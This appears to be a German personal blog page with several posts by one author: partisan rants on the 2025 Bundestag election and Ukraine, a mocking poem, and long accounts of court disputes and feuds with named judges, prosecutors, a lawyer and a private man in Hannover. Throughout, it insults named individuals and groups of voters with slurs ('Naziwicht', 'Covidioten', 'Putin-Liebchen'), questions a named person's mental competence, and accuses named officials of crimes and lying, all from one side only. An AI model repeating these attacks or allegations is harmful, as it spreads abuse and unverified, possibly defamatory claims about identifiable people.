Bundestagswahl 2025: Das Ukraine-Thema ist für mich bestimmend und wahlentscheidend.

Eines ist schon mal klar:  2025 werde ich keine Partei und keine(n) Abgeordnete(n) wählen, die oder der sich gegen eine allumfassende Unterstützung der Ukraine ausspricht. Das betrifft explizit auch die Taurus-Marschflugkörper und jegliche Reichweiten bzw. Gebietseinschränkung. Man muss die russischen Aggressoren und deren Logistik dort treffen, wo sie sind.

Ich will einfach nicht, dass der russische Machtbereich 1500km näher an Deutschland heranrückt, denn das ist ausweislich der russischen Großmachtrethorik und Propaganda gefährlich. Wer das will oder auch nur zulassen will (die Unterstützung verweigert und dabei von Frieden oder Verhandlungen schwafelt, welche zwingend genau dieses Ergebnis haben werden) ist für mich nichts anderes ein verlogener Landesverräter.

Das gilt insbesondere für die AfD und das nicht weniger russlandgesteuerte BSW. Und leider auch für die SPD des Olaf Scholz.

Patriotische Hutmode für Russen und Putinliebchen ...

 

Neue Hutmode für patriotische Russen. In Hannover soll auch schon ein Putinfreund so herumgelaufen sein, Orban hat angeblich auch einen. Für die Hüte bracht man nur etwas Aluminiumfolie (liegt im Küchenschrank) und einen weißen, einen blauen, einen roten Klebstreifen (aus der Werkzeugkiste).

Hilfreich gegen Todesstrahlen von Nato- und ARD/ZDF/NTV-Satelliten.

Also braucht man auch eine „hohle Birne“. Die findet man bei X oder Telegram. Oder auf AfD-Veranstaltungen. Und natürlich auf substack.

Nur ein Gedicht über einen Nazi, Covidiot und Stalker ...

Seit er zum Arzt nicht zugelassen
verliert er langsam alle Tassen.
Sein Sermon ist - ich sag es schnöd -
im Vergleich zu anderen blöd.
Er hält sich selbst für einen Denker,
wär wohl gern ein Massenlenker.

Doch mit dem Anspruch klappt das nicht.
Denn er ist nur ein Naziwicht.

Spritzefix, bestellt sich Döner
ich glaub, das wird ja immer schöner
denn er hetzt mit bösen Worten
gegen die von andern Orten.

Die ihm also Döner machen.
Er meint, er könne die verlachen.

Spritzefix, der übel hetzt
fühlt sich in seiner Ehr verletzt.
Der Quaker ist auch nicht ganz dicht
und ruft nach Hilfe vom Gericht.

Doch mit der Klage klappt das nicht.
So bleibt er halt ein Naziwicht.

Der Spritzefix, der hasst und stalkt
glaubt, dass er's darf - das macht der Alk.
Uns alle nennt er dummdreist Ratten.
Er hat wohl einen mächtgen Schatten.

Doch mit dem Anspruch klappt das nicht.
So ist nur ein Stalkerwicht.

 

An die Adresse der Liga der „friedensbewegten“ Putinfreunde aus der AfD, dem Personenkultbündnis „BSW“, Covidioten und alten SED-Genossen

geht - statt eigener Worte - das hier.

Groundcontrol to Major Tom (He! Ossis! Werdet mal wach, Freunde!)

Natürlich  ist Protest etwas Feines und es gibt - weißgott - genug Missstände, Arroganz und Machtmissbrauch seitens der „Eliten“ zu beseitigen. Aber das großmäulige „Alles für Deutschland MICH“-Bläker wie den Wessi Höcke, selbstangebliche „Patrioten“ wie Krah,  „unbestechliche“ Bargeldgreifer wie Petr Bystron oder „gesunde Ungeimpfte“ Kandidaten auch nur für irgendeine Misstandsbeseitung sind - daran wage ich zu zweifeln. Das Gegenteil wird der Fall sein, denn diese so plötzlichen wie nur angeblichen, aber wieder als russisch finanziert auffallenden „Kriegsgegner“ wollen das ein Feind - und Russland ist unter Putin ein Feind - seine Grenzen näher an uns heranrücken kann. Was daran gut für Deutschland sein soll versuchen die gar nicht erst zu erklären. Wie auch. Und wozu denn? Denn diese und solche wenden sich an Hohl- und Hassbirnen, die es eh nicht interessiert.

Was von dem, was Bernd Höcke sagt, ist eigentlich so schwer zu verstehen?

Wahrscheinlich sprechen wir uns in ein paar Jahren wieder - dann wird wohl so mancher der in Brandenburg, Thüringen oder Sachsen zurück gebliebenen den blauen Teil der am morgigen Sonntag Gewählten sehr viel lieber im Knast oder der Psychiatrie sehen wollen als im Landesparlament.

Und sich eine Zeitmaschine wünschen.

P.S. Wer hat dem Höcke eigentlich das „S Fummelig“ geborgt? Der hat es - als importierter Wessi, der zu Hause nichts geworden ist - „gar nicht drauf“ mit sowas herumzufahren. Für Typen wie den gab es „Zwiebacksägen“ von Kreidler - die waren so lahm, da stand man schon in den Geschichtsbüchern bevor man auch nur irgendwo angekommen ist.

P.P.S. Ich hab gleich mit einer MZ angefangen. Wollt Ihr die AfD wählen weil ich Euch „brutal versägt“ habe?

Freispruch durch AG Kassel nach Sinnlos-Strafanzeige des LG Präsidenten Daniel Kämmerer (§ 193 StGB)„Sieg gegen das System“

Früher hab ich das immer „Sieg gegen das System“ genannt. (2013, 2018) Aber das ist auch irgendwie langweilig. Vielleicht will Daniel Kämmerer, Präsident des LG Kassel, sich mal überlegen

1. wen er
2. warum anzeigt und
3. wer das Recht hat, sich „angepisst“ zu fühlen.

Und sodann auf die von mir im Stein des Anstoßes genannten Richter(in) Dr. Blumenstein, Quandel, Eymelt-Niemann, Neumeier zugehen und denen mitteilen, dass es aus den von mir vorgetragenen Gründen angemessen und dem Rechtsfrieden dienlich sein könnte, wenn diese sich, gemäß § 48 ZPO „selbst ablehnen“ sobald mein Name - der lautet Jörg Reinholz - auch nur in der Akte vorkommt.

• Stein des Anstoßes
• Aufforderung zur Stellungnahme
  
• Meine Stellungnahme
  
• Beschluss (Freispruch) des AG Kassel, Az. 282 Ds 3660 Js 45521/23 (74/24)

Es folgt der Hinweis an den Justizminister, dass die StA Kassel wohl quantitativ überbesetzt sein muss, weil diese Zeit und Energie auf Sinnlos-Anklagen gegen mich verschwendet - obwohl ein Blick in die Akte und einer ins Gesetz für eine Einstellung der Verfahren nach § 170 Absatz 2 StPO gegen mich genügt hätte. An einer qualitativen Überbesetzung von StA und LG Kassel liegt es erweislich nicht, denn dann hätten 

• Daniel Kämmerer, Präsident des LG Kassel und
  
• der bearbeitende Staatsanwalt oder die bearbeitende Staatsanwältin
  

das Vorliegen eines Falles des § 193 StGB erkannt und meinen Text auch richtig gelesen. Zudem hätte ich im Fall der qualitativ angemessenen Besetzung und Tätigkeit der Zivilkammern des LG Kassel auch keine so heftigen Gründe für eine Beschwerde gegen die Richter(in) Dr. Blumenstein, Quandel, Eymelt-Niemann, Neumeier und („Ach!“) auch der Staatsanwaltschaft Kassel gehabt.

Das gilt insbesondere deshalb, weil ich den Daniel Kämmerer sehr eindeutig davor gewarnt hatte, die Vendetta seiner Vorgänger (Albrecht Simon und Dr. Wolfgang Löffler) fortzusetzen.

Denn jetzt werfe ich dem Präsidenten des LG Kassel, Daniel Kämmerer öffentlich vor, ganz bewusst einen Unschuldigen angezeigt zu haben. Der ist schließlich studierter Jurist und sollte genau deshalb den § 193 StGB kennen. Andererseits haben seine beiden Vorgänger in den zwei zu beachtenden Punkten (Moral und Recht) ebenso kläglich versagt.

Wie auch immer das sei. Es scheiterte der dritte Präsident des LG Kassel in Folge mit dem von vorn herein untauglichen Versuch, mich rechts- und moralwidrig zu kriminalsieren, weil ich Kritik an dieser „Rechtsfreien Zone“ namens „Landgericht Kassel“ übe - während just die genannten Landgerichtspräsidenten und offenbar auch die Staatsanwalschaft Kassel eben dieses Landgericht - ausweislich deren Handelns nach meiner berechtigten Kritik hinsichtlich der stoischen Nichtbeachtung von Tatsachen und Gesetzen durch die genanten Richter - zu einer „Völlig Rechtsfreien Zone“ machen wollen.

Im Übrigen hat es die Staatsanwaltschaft „vermieden“, die durch mich gestellte Gegenanzeige - wegen falscher Verdächtigung ordnungsgemäß (genau genommen: überhaupt) zu bearbeiten. Womöglich fehlte es auch diesem Schriftstück an einer „Unterstreichung oder sonstigen drucktechnischen Hervorhebung“, weshalb ja auch auch schon von den Richtern Quandel, Eymelt-Niemann, Neumeier das für jeden und jede Unübersehbare ignoriert wurde:

Die allfällige Beschwerde geht direkt an den Justizminister. Und ich weiß schon jetzt, dass die StA Kassel - an welche er diese abgeben wird - das abwimmeln wird. Soweit zu einem „Rechtsstaat“, in welchem eine große Anzahl von Akteuren vorliegend vor allem den Selbstsschutz auf der Agenda stehen haben - nämlich unter der Gruppenüberschrift „Zuerst, immer und im Zeifelsfall als Einziges zu beachten!“

Mit Querulanz hat das übrigens nicht das Geringste zu tun. Wenn man sich nicht, spät oder auch nur „nicht oft und laut genug“ beschwert wird einem nämlich genau das auch vorgehalten. Als „rechtsvernichtende Unterlassung“.

Jörg Reinholz

(Wohl meist frei gesprochener Bürger mindestens der Stadt Kassel - also gerade kein Querulant.)

Ossi oder Dunkeldeutscher Idiot - Ihr habt die Wahl! Wahlempfehlung!

Demnächst sind ja Wahlen in Thüringen und Sachsen. 

Meine Wahlempfehlung?

Wenn Du ein Dunkeldeutscher Idiot, also ein  Covidiot, ein zum Erbrechen dummer Querfasler, ein „Nur-Scheiße im Hirn“-Nazi, sogar ein verhurtes Putin-Liebchen und somit ein wahrer Volksverräter sein, als prospektiver Psychiatrie-Patient gelten und von kriminellen Idioten regiert werden willst, dann, ja genau dann wähle die AfD. 

Aber rechne fest damit, dass wir dann keine Freunde mehr werden. Und keine mehr sind.

Jörg Reinholz, nicht zurück gebliebener Ossi.

 

Offene Worte für Pascal Reddig (Jung-CDU Co-Vorsitzender, Media Kanzlei Frankfurt):„Norden Sie Ihren moralischen Kompass und lassen Sie von den Gravenreuth-Methoden!“

Pascal Reddig (Jung-CDU Co-Vorsitzender, Media Kanzlei Frankfurt) stört sich an meinen Worten:

„Gehen Sie mal auf den Münchner Nordfriedhof. Rufen Sie alsdann laut meinen Name „Jörg Reinholz“. Dort, wo dann die Erde bebt, wurde des Mehrfachverlierers Gravereuth Asche verbuddelt. Merken Sie sich die Stelle und den Name → Und kommen Sie mir nicht wieder so doof! Kriegen Sie das hin? “

Reddig schreibt dazu:

„Wie der Hinweis, der Unterzeichner solle sich auf dem Münchner Nordfriedhof die Stelle des verstorbenen Rechtsanwalts „Gravenreuth“ (dieser hat Suizid begangen) merken und ihm nicht wieder „doof kommen“, zu verstehen ist, überlassen wir dem Gericht.“

Nun, der selbe Pascal Reddig wird in einem Zeitungsartikel aus dem Jahr 2023 als 29-jähriger beschrieben. Um es mal burschikos zu sagen:

Als ich mich mit Günter Werner Freiherr von Gravenreuth (geb. Dörr) vor den Gerichten „kloppte“ und ihn das erste Mal in einer Berufung vor dem LG München besiegte - das war ab 2006  - „rannte der heutige Jung-Anwalt Pascal Reddig noch mit der Trommel um den Christbaum“. (Falls der Herr Reddig sich durch diesen Ausdruck gestört fühlt: Zur Wahl stand noch ein Ausdruck über den absenten Haarwuchs an einer Körperstelle, welche zu nennen ich hier nicht für angebracht halte.) 

Das sei, wie es sei, aber es gibt da offenbar ein paar Sachverhalte, die Pascal Reddig schlicht und einfach auf Grund seiner damaligen Jugend nicht mitbekommen hat:

Günter Freiherr von Gravenreuth hatte längst nicht nur die Straftaten begangen welche bei Wikipedia stehen. Das Fehlen einer ganzen Reihe davon hat u.a. die Staatsanwaltschaft Kassel zu verantworten, welche längst nicht nur in Person meines früheren und „sehr speziellen Freundes“ Jan Uekermann ein erhebliches Tatsachenwahrnehmungsproblem hat, sobald ein „Rechtsanwalt“ beschuldigt wird oder den Strafantrag stellt.

Günter Freiherr von Gravenreuth hatte den moralischen Kompass völlig verloren und - das hat er selbst verbreitet - Moral war ihm (nicht nur im Rechtsverkehr) völlig schnurz. Zu Gravenreuths Methoden gehörten 

• üble Rabulistik (von Reddig geliefertes Beispiel hier)
  
• das offensive Belügen der Gerichte (von Reddig geliefertes Beispiel hier)
• das Androhen und Stellen von unberechtigten Strafanzeigen (darum geht es hier)
  
• Rechtsmissbrauch (an dem Reddig sich wissentlich beteiligt)
  
• Abmahn- und Prozessbetrug (von Reddig geliefertes Beispiel hier.) 
• Völlig überzogene Behauptung von Streitwerten. Der auch in dieser Hinsicht eine typische Gravenreuth-Nummer durchziehende Reddig behauptete in der Abmahnung einen solchen von  € 270.000 und forderte aus diesem €4069,21 - was nichts anderes als ein Betrugsversuch zu meinem Nachteil ist. 
• Das „Mit anderen Worten: selbst dort, wo jeder vernünftige und halbwegs an einem fairen Verfahren Interessierte Bemühungen, durch Einsatz von Gerichten Entscheidungen zu erzwingen, unterläßt, klagt der Kläger und dokumentiert hierdurch sein Kosteninteresse nach Auffassung der Kammer in besonders deutlicher Form.“ kann kann auch über Reddig und seinen Mandant Skrziepietz aussagen. Andreas Skrziepietz hat oft genug öffentlich klar gemacht, dass er mir durch die Prozesse vor allem finanziell schaden will (Was nichts wird, sich sogar gegen ihn selbst wendet, weil er diese vorhersehbar verlieren wird). Reddig wird versuchen, sich damit herauszureden, dass er von den Veröffentlichungen des Andreas Skrziepietz „nichts wusste“ - Wir werden dann mal sehen, welches Wissen zu welchem Zeitpunkt ich ihm nachweisen kann.
  

Folge: Pascal Reddig (Jung-CDU Co-Vorsitzender, Media Kanzlei Frankfurt) hat  sich eine Beschwerde bei der Anwaltskammer (un)„redlich verdient“. Aber erst einmal hole ich mir zwei abweisende Urteile, damit diese von der Anwaltskammer und Staatsanwaltschaft auch ernst genommen werden.
 

Was der Junganwalt Reddig (wohl) auch nicht weiß:

Gravenreuth hat gegen mich eine ganze Anzahl von Prozessen verloren, z.B. wegen des Vorwurfs standeswidrigen Verhaltens - nach meinen Streitbeitritten ging er gleich zweimal  „kacken“ auch gegen einen Dritten, den ich vertrat (weil das AG in Baden Würtenberg das Verfahren wegen Nichtzuständigkeit nicht etwa an den Wohnort des Beklagten oder Gravenreuths sondern - ohne Begründung - nach Kassel überwies.  Gravenreuth war damals ein erfahrener Anwalt und ich begann - just auf Grund dessen Stalkings unter Missbrauch der Gerichte - gerade erst damit, mich mit Äußerungsrecht zu befassen...

Gegen einen unvertretenen „kleinen Schlosser aus dem Osten“ seriell und auch noch in eigener, selbst angefangener Sache zu verlieren war gewiss bitter für das, sich selbst für „unfassbar raffiniert“ haltende, garstige und extrem verlogene „Organ der Rechtspflege“.

Dem Pascal Reddig habe ich weiter „ins Gebetsbuch“ gesschrieben:

“Und wenn wir schon dabei sind, Herr Reddig: Einen Kriminellen in einem Strafverfahren zu vertreten, ist die eine Sache. Längst nicht nur ich halte es aber für unvereinbar mit der Rolle eines „Organs der Rechtspflege“, wenn sich ein Anwalt (und genau das ist es was Sie getan haben) aus einem stets niedrigem jugendlich-pekunärem Eigeninteresse heraus zum mit lügendem Werkzeug eines garstigen Stalkers, mithin eines offensichtlich „komplett Irren“ macht. Vorliegend eines Nazis, dessen höchst verwerflichen Schädigungsinteresse jede und jeden, der oder die den öffentlichen Dreck des Andreas Skrziepietz aus Hannover liest, geradezu „anspringt“.

Und warum ich das geschrieben habe ist jedem klar, der Gravenreuths wahre Verdorbenheit und Werdegang kennt. Es war dessen verlorener moralischer Kompass, der zu den oben genannten Methoden führte, die Methoden führten dann - nach langer Verweigerung der alsdann zum Jagen getragenen Staatsanwaltschaft - dazu, dass Günter Freiherr von Gravenreuth  irgendwann doch angeklagt und verurteilt wurde. Es dauert eine Weile bis der Damm, den viele Staatsanwaltschaften für solche „Organe der Rechtspflege“ errichten, bricht - aber wenn das geschieht, dann ist die Flut nur um so größer.

Pascal Reddig schreibt (zu dem Hinweis auf Gravenreuths Grab) weiter:

„Der Unterzeichner fasst es jedenfalls als Bedrohung (§ 241 StGB) auf und behält sich deshalb vor, hiergegen strafrechtlich und zivilrechtlich vorzugehen.“

Meine Antwort:

„Lassen Sie diese Gravenreuthiade, Herr Reddig, kehren Sie zu einer sachlichen Prozessführung zurück und norden Sie Ihren moralischen Kompass!“

Der § 241 StGB setzt voraus, dass jemand einen Menschen mit der Begehung einer gegen ihn oder eine ihm nahestehende Person gerichteten rechtswidrigen Tat gegen die sexuelle Selbstbestimmung, die körperliche Unversehrtheit, die persönliche Freiheit oder gegen eine Sache von bedeutendem Wert bedroht.  Ich hatte sogar noch versucht, den großmäuligen Waffen-KVR der Stadt München dazu zu bewegen, Gravenreuth die Knarre wegzunehmen, weil er diese öffentlich lobte als seine Haftstrafe rechtskräftig wurde. Und zugleich erklärte, er gehe nicht in den Knast. Eigentlich hätte der „Waffen KVR“ das auch tun müssen - war aber arrogant bis zur Assozialität: Der Jurist wollte das mit mir „nicht diskutieren“.

Was soll denn das für eine „Drohung“ sein, Herr Reddig?

Reddig schrieb selbst:

„Gravenreuth“ (dieser hat Suizid begangen)”

Es fehlt also - wie dem Jurist Reddig völlig klar ist - an jeder Androhung einer rechtswidrigen Tat. Der Hinweis auf das Schicksal eines Selbstmörders, der „Organ der Rechtspflege“ sein wollte aber den moralischen Kompass verlor und Methoden anwandte, welche ich teilweise auch bei Pascal Reddig schon recht deutlich sehe, ist keine Drohung sondern ganz klar eine Warnung vor Gravenreuths Weg und Schicksal.

Also nichts anderes als eine Warnung davor, dass  Pascal Reddig (Jung-CDU Covorsitzender, Media Kanzlei Frankfurt) die falsche Richtung eingeschlagen hat.

Und was die „so halb“ angedrohte Strafanzeige angeht: „Mir schlottern die Knie.“ Die StA Kassel soll ja schon einen Stempel haben wie ihn Anwälte für Anlagen haben: 

Unbegründete Sinnlos-Strafanzeige gegen Jörg Reinholz Nr. 0000231

Mit beim Stempeln automatisch hochzählender Zahl.

Die genannte Zahl ist durchaus im Bereich des Zutreffenden, denn die Zahl sich „angepisst“ fühlender, nutzloser Existenzen und krimineller Eminenzen mit beschädigtem Unrechtsbewusstein - dafür aber gerne mit Doktor- und/oder Anwaltstitel - welche mich nach fehlgeschlagenen Zivilprozessen und/oder meiner Kritik an deren Vorgehen wegen irgendetwas (das haben Sie wohl vor)  anzeigten, ist wirklich enorm. Und warum ich kein Unrechtsbewusstein habe steht in diesem Urteil. Seit 16 Jahren versucht kriminelles Pack mir an Bein zu pissen. Und der „Erfolg“ dieses Vorgehens ist - längst nicht nur Gravenreuths Schicksal zeigt das - war stets negativ: Unfassbar viele zurück gewiesene Strafanzeigen. Ich bin wohl Kassels meist freigesprochener Bürger. Die Androhung des Herrn Reddig verfehlt also die beabsichtigte Wirkung - ist sogar Anlass für diese Veröffentlichung. Er hätte mal überlegen sollen, wem er damit „droht“ und nachlesen was ich also mit seinen Vorgängern gemacht habe.

Wenn also  Pascal Reddig so weiter machen will: Zur Zeit meines Konfliktes mit Gravenreuth war er noch strafunmündig. Jetzt aber ist er 30 und trägt selbst die Verantwortung für sein Handeln und also sein Schicksal. Der Münchner Nordfriedhof und dort die Grabstelle mit Gravenreuths Urne sind mit Sicherheit ein guter Ort um darüber nachzudenken.

Und, Herr Reddig, kommen Sie nicht wieder mit so doofer Rabulistik wie vor dem LG Frankfurt (Sie, Herr Reddig, haben ganz eindeutig eine Meinungsäußerung (Vermutung), die im Original mit „ich glaube“ beginnt, absichtlich entstellend verkürzt zitiert und sodann vorsätzlich unwahr behauptet, dies sei eine Tatsachenbehauptung. Im zweiten Schriftsatz haben Sie dann nur Ihre Absicht unter Beweis gestellt. Also ...

... schreiben Sie also nicht solchen blöden Quatsch, denn die Anhaltspunkte habe ich - das wissen und wussten Sie genau - und versuchen Sie einfach nicht nochmals, wahlweise mich, einen Dritten oder Ihren Mandant, der sich und das Thema selbst auf die Agenda gesetzt hat, durch den Ansatz absurd anmutender Streitwerte abzuzocken:

 
Herr Reddig: Das gilt auch dann, wenn Sie „jung sind und das Geld brauchen!“

Und jetzt können Sie sich mit der angedrohten Strafanzeige meinetwegen in die Prozession krimineller Prinzessinnen einreihen. Die so „halb angedrohte“ kauf ich dann nach dem Resyling als Klopapier. Was man damit macht wissen Sie hoffentlich schon.

Aber Ihnen sollte schon jetzt klar sein, dass ich dann auch der Öffentlichkeit über diese erneute - dumme - Handlung berichte. Das wird dann sicherlich „karrierefördernd“.

Russland: Kadyrows Gartenzwerg-Armee plündert russische Geschäfte, Thüringer will Tesla-Truck mit kleinen AfD-Extras

Krieg ist immer schrecklich wenn der Feind kommt. Putins Russland indes beweist gerade, wie schrecklich es sein kann, wenn die eigenen Truppen im Land stehen:

Bild: Das nach der Evakuierung noch funktionierende Internet macht es möglich, dass begeisterte russische Geschäftsinhaber zusehen können, wie russische (tschetschenischen gehören dazu) Söldner deren Geschäfte plündern. Die scheinen indes mit dem Angebot unzufrieden zu sein...

Laut Umfrage des russischen Wahrheitsministeriums (Miniwahr), dessen Verlautbarungen in Deutschland fleißig und höchst gutgläubig von AfD (Arschlöcher für Dumme) und Covidioten konsumiert werden, ist die Zufriedenheit der russischen Bevölkerung mit Putin nach dieser Nachricht um weitere 500% gestiegen. Kadyrows Gartenzwerg-Armee lässt verlauten, diese habe 50% der geplünderten Waren (dafür sei ein Steuersystem entwickelt worden und wer nichts abgibt wird erschossen) auf einem Tesla Cybertruck, geschützt durch ein Maschinengewehr, direkt und ohne Halt nach Grosny gebracht um diese den Helden unter den Söhnen, Neffen, Cousins und Onkels des als Gott und zugleich einzig wahrhaftigen Verkünders der islamischen Lehre zu verehrenden Ramsan Kadyrow als Geschenk darzubieten:

Bild: Ganz böse Stimmen aus Thüringen behaupten, dass ein gesunder Ungeimpfter aus dem Fanclub eines gewissen Bernd Höcke jetzt auch so einen Wagen (freilich mit heftig rußenden Stinkediesel, kleinen Hakenkreuzen im Interior und ansonsten bitte braun-blau nebst der Aufschrift „Alles für Deutschland!") haben will und direkt aus der Klapsmühle heraus via Schweiz bei den russischen Geldgebern nachforschen lassen wollte, wie das wohl zu bewerkstelligen sei.

Neue Gerichtstermine für jeden und jede, der (die) wissen will, was Nazis unter „Meiungsfreiheit“ verstehen

Die Termine habe ich, weil die nur angeblich für „Meinungsfreiheit“ kämpfenden rechtsradikalen und covidiodistischen Spinner und Verbalterroristen sich über Kritik bei Blogger.com beschweren, auf meinem eigenen Server veröffentlicht.

13 Prozent

• Etwa 13 Prozent der Bevölkerung Deutschlands würden Donald Trump wählen. Ein Teil davon glaubt den Scheiß, den der quakt, sogar.
  
• Etwa 13 Prozent der Bevölkerung Deutschlands sind AfD-oder-schlimmer-Anhänger. Ein Teil davon ist als „stringent rechtsradikal“ einzustufen.
  
• Etwa 13 Prozent der Bevölkerung Deutschlands stehen auf der Seite der russischen Kriegsverbrecher und tarnt sich als „Pazifisten“. Ein Teil davon wird von Putin dafür bezahlt. Der andere ist nur ganz dumm.
  
• Etwa 13 Prozent der Bevölkerung Deutschlands sind schlicht und einfach Covidioten. Ein Teil davon sind „freiwillig ungeimpfte Seuchenvögel“ - also feige Gestalten, die unsolidarisch den „Pieks“ verweigerten.
• Etwa 13 Prozent der Bevölkerung Deutschlands glauben an Verschwörungstheorien. Leider nur ein Teil davon war schon in der Klapsmühle. Vorher waren die noch schlimmer.
  

Ich würde ja sagen, dass etwa 13 Prozent der Bevölkerung Deutschlands alle fünf dieser Störungen auf einmal haben. Jedenfalls ist mir noch keiner von denen begegnet, der nicht alle fünf hätte.

Der krasse Fall des Andreas Skrziepietz bestätigt diese Ansicht. Allerdings glaubt der ausweislich seiner Äußerungen wohl daran, Mitglied irgendeiner „Mehrheit“ zu sein. Ich glaube deswegen, der hat die 13% fünf mal addiert und kam auf 65 nein: sogar 78%.

Wladimir Putin (Vlad der Blutige) gibt sich entsetzt ...

„Es ist mit Raketen auch auf zivile Objekte und Wohnhäuser geschossen worden“ behauptet Wladmir Putin (Vlad der Blutige) 

Meldung von NTV

Erst bei näheren Lesen stelle ich fest, das höchst legitime Kriegsziel meint gar nicht die eigenen, die russischen Kriegsverbrechen - die er selbst jeden Tag anordnet.

 

 

„IrrKlaZ“ - „Irrster Kläger aller Zeiten“ oder „DüKlaZ“ - „dümmster Kläger aller Zeiten“?

Das muss man erst mal „bringen“: Als Hannoveraner eine Klage gegen einen Kasselaner ohne nähere Begründung hierfür vor dem eigentlich gar nicht zuständigem LG Frankfurt erheben (was ich nicht „monieren“ muss und aus eigenem Interesse nicht monieren werde) und und vor der mündlichen Verhandlung selbst die „Begründung“ jedes einzelnen seiner Klagepunkte und die eigene Versicherung an Eides statt selbst durch öffentliche Schrift widerlegen. So dumm handelte nicht mal der Dialerparasit Mario D. - und der war „krass durchgeknallt“.

• Andreas Skrziepietz aus Hannover (hat früher mal einen Doktortitel erworben), deshalb hier und jetzt als „IrrKlaZ“ und nicht, wie ebenfalls nahe liegend, als „DüKlaZ - dümmster Kläger aller Zeiten“ bezeichnet, bringt genau diese Nummer.
• Zudem weckt seine Vorgehensweise erhebliche Zweifel an seiner Geschäftsfähigkeit i.S.d. § 104 Nr. 2 BGB. Denn für die zahlreichen Unwahrheiten im Vortrag und deren offenbare Dreistigkeit kann es - außer einer unfassbaren Ausgeprägtheit eines Hanges und der Bereitschaft zum Lügen - nur noch die Erklärung geben, dass er glaubt, was er behauptet (dann wären es nur Unwahrheiten, keine Lügen). Allerdings ist unter diesem Aspekt die Geschäftsfähigkeit des Andreas Skrziepietz prozessual in Zweifel zu ziehen.
  

P.S.:

• Google-Suche nach „DüVerlaZ”
• Andreas Skrziepietz (Hannover) belästigt Anwältin per EMail.
  

Badewetter: „Ihr DHL-Paket kommt heute“ - „Verarscht Ihr mich oder was?“

Samstag, 3. August 2024: Es ist bestes Badewetter aber ich habe eine erfreuliche Nachricht im Posteingang:

Drin ist ein Antriebsriemen (hält wohl nur 10 bis 20 TKM) für einen 125er Motorroller. Brauch ich als Reserve, denn so ein Motorroller ist ideal um z.b. im Sommer bei Kiel mit der großen Kiste schön an einem See - nehmen wir den Westernsee - zu übernachten und zum Arbeiten (und Baden in der Ostsee) das Moto  zu nehmen. Ich sag nur „Parkplatz“.

Live verfolgt:

13:15: erste Enttäuschung: Das Päckchenist angeblich rund 1 Kilometer entfernt, Noch 9 Stops. Zustellung jetzt: 14:00 bis 15:30. „Hm.“

13:30: „Hurrah, es bewegt sich doch!“ Das Päckchen ist angeblich rund 1 Kilometer entfernt, hat sich aber laut Live-Verfolgung bewegt.  Noch 8(!) Stops, Zustellung jetzt: 14:20 bis 15:50.  „Hach.“

13:45: zweite Enttäuschung: Das Päckchen ist angeblich rund 1 Kilometer entfernt. Noch 9(!) Stops, Zustellung jetzt  14:30 bis 16:00.  „Grrrr.“

14:15: dritte Enttäuschung: Das Päckchen ist angeblich rund 1 Kilometer entfernt. Noch 9(!) Stops, Zustellung jetzt  15:00 bis 16:30. „Spinnen die?“

15:00: vierte Enttäuschung: Das Päckchen ist angeblich rund 1 Kilometer entfernt. Hat sich aber 100 Meter bewegt. Noch 9(!) Stops, Zustellung jetzt  15:00 bis 16:30.  „Was soll der Scheiß?“

15:15: fünfte Entäuschung: Das Päckchen ist angeblich rund 1 Kilometer entfernt. Hat sich aber 100 Meter bewegt. Noch 9(!) Stops, Zustellung jetzt  15:30 bis 17:00.

Reaktion: „Verarscht Ihr mich oder was?- Ihr könnt  mich mal! Ich fahre jetzt baden! Rucksack auf! Arsch aufs E-Bike!“

15:25: Auf dem Web zum Badesee treffe ich nach 250 Metern den DHL-Bote (der ist bei weitem nicht dort, wo DHL ihn mir „live“ anzeigt) Ausweis vorgezeigt, das Päckchen in den Rucksack.

(15:40: Platsch!) 

 Nach einer früheren Erfahrung 

gab es bei der DHL wohl eine „Zustelltour“, bei der die Pakete nicht etwa in ein Zustellfahrzeug  geladen, sondern auf eine „Nulltour“ gescannt in einen Rollcontainer gelagert wurden. Dann bekam man gegen 10:00 automatisiert die Nachricht, dass das Paket heute komme und irgendwann zwischen 17:00 und 18:00 (nach einem weiteren Scan) die Nachricht, dass die Zustellung „nicht geschafft“ wurde.

Hintergrund ist, dass es im EDV-System der DHL wohl keine Auswahlmöglichkeit gab (oder gibt) um eine Einlagerung mit „Paket wegen Überlastung heute nicht zustellbar“ zu begründen. Es ist aber schlauer, in diesem Punkt ehrlich zu sein, denn das man mal nicht schafft kennt jeder von sich selbst. Der Empfänger weiß dann: „kommt heute nicht“ und wartet nicht vergebens. Und für „Express“ hat DHL ja einen anderen Service, sogar eine andere Firma und eine andere Infrastruktur als für „Paket“. Der ist (begründet) deutlich preisintensiver und man könnte durchaus ein Regularium schaffen, mit dessen Hilfe eben auch durch den Paketdienst „nicht geschaffte“ Pakete auf Wunsch und nach Bezahlung durch den Empänger eben doch noch „heute“ per Express zugestellt werden.

Ein Fazit:

Das Versprechen einer geplanten Zustellzeit seitens der DHL ist völlig für Katz. Genauer: Verarschung. Es wäre besser die DHL lässt das. Denn wenn  deren Vertriebsbeauftragte einen Kunde ansprechen und mit der Live-Verfolgung werben wollen könnte just der oder die Angesprochene gerade eben ähnliches erlebt und womöglich auch Termine oder Vorhaben verschoben haben. Deren oder dessen Reaktion wäre dann nicht mehr als „gemischt“ beschreibbar.

Noch etwas:

Trotz Angabe meiner Postnummer konnte neulich ein Paket nicht in die Zustellbox gelegt werden. Laut DHL wäre die „Adresse unbekannt“. Irgendwas mit der IT der DHL liegt also im Argen. Und das Verfahren bezeichne ich mal als kundenseitig „krude“. Die Postbox ist keine 150 Meter weit weg von meiner Hütte und wäre ideal.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DüVerlaZ? DüVerlaZ!

Was ein DüVerlaZ ist und neue, amüsante Bildschirmfotos setze ich im Artikel

Die Irrungen des Harasseurs und „DüVerlaZ“ Andreas Skrziepietz (a.k.a. „Docmacher“, Hannover)

in den richtigen Kontext.

„Vermault“: Dr. Carsten Brennecke (Kanzlei Höcker. Köln)

 Die größten Kritiker der Elche sind zumeistens selber welche...

Hannoverscher Hassblogger Andreas Skrziepietz schon wieder beim Lügen erwischt

 Zum Artikel über den Lügner Andreas Skrziepietz.

„Docmachers“ Hetz- und Rechenkünste

Weil sich der in die Öffentlichkeit drängende Andreas Skrziepietz aus Hannover über meine Artikel beschwert (und dabei vergisst, dass er selbst zu diesen Anlass gab) und weil ich keine Lust darauf habe, diese immer wieder entsperren zu lassen, erscheinen meine Artikel jetzt an anderer, „beschwerdesicherer“ Stelle.

Ein etwas teurer IQ-Test

